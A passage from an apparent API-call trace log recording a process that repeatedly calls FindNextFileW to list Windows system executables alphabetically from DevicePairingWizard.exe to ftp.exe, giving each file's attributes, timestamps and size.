cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0030.406] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82848ae7, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82848ae7, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde1efe20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DeviceProperties.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fb9db19, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1fb9db19, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde214810, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DFDWiz.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936a25bf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936a25bf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936a25bf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dfrgui.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2c2b99, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbe2c2b99, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xdff65630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dialer.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9a95e4b, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xa9a95e4b, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xdffb1120, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="diantz.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e1adc0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x60e1adc0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdffd5b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dinotify.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938917a3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x938917a3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x938b7903, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="diskpart.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c984a5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x13c984a5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe00bb2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="diskperf.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a80986, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93a80986, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93a80986, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x58c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="diskraid.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8837bef, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xe8837bef, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0369380, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Dism.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd81ea4a, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd81ea4a, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe0400960, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dispdiag.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f9a6bc8, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f9a6bc8, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe057d720, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x81400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DisplaySwitch.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f6834a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f6834a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f6834a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="djoin.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee4ae4b2, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee4ae4b2, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe06fa4e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dllhost.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed7e2f74, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xed7e2f74, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe07215e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dllhst3g.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390ff8fb, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x390ff8fb, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0981470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dnscacheugc.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0a1b160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="doskey.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89abe568, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x89abe568, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe0afe230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dpapimig.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829eb9e6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x829eb9e6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DpiScaling.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6e5b99f, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xd6e5b99f, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe0b4c430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dpnsvr.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32347214, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x32347214, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c7aff0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="driverquery.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67fa17, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6d67fa17, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe0c2f500, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="drvinst.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f4b6133, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x9f4b6133, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dvdplay.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa21c9e46, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xa21c9e46, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe1626950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dvdupgrd.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8366e2b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe8366e2b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xe1674b50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dwm.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58ecbbdd, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x58ecbbdd, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe16c0640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="DWWIN.EXE", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8749092f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8749092f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xe17a3710, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x53e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="dxdiag.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6d10, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93a6d10, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe18d49e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x40c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Dxpserver.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe61b0ca, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbe61b0ca, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe18fbae0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="Eap3Host.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb012a3c2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb012a3c2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="efsui.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d5f61f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x38d5f61f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe1cff830, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="EhStorAuthn.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836eb2a5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x836eb2a5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1e7c5f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="esentutl.exe", cAlternateFileName="")) returned 1 [0030.407] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d527a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9f2d527a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9f34769a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x57e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="eudcedit.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62761073, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x62761073, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1eef1e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="eventcreate.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf09c917, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf09c917, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xe1f13bd0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="eventvwr.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f129be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0f129be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe1fad8c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="expand.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a9c0d8, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xb0a9c0d8, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2742770, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf400, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="extrac32.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fc.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe278e260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="find.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ebf32f5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="findstr.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84092633, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84092633, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xe27b5360, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="finger.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x872ff437, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x872ff437, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x872ff437, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fixmapi.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf30fa809, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xf30fa809, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fltMC.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c63242, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x95c63242, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe2a3c2f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fontview.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba6db2c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3ba6db2c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2a633f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="forfiles.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31bb0c8d, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x31bb0c8d, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xe2cc3280, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17800, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="fsutil.exe", cAlternateFileName="")) returned 1 [0030.408] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fa00 | out: lpFindFileData=0x18fa00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb34c14, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb34c14, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb34c14, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x650078, dwReserved1=0x630000, cFileName="ftp.exe", cAlternateFileName="")) returned 1 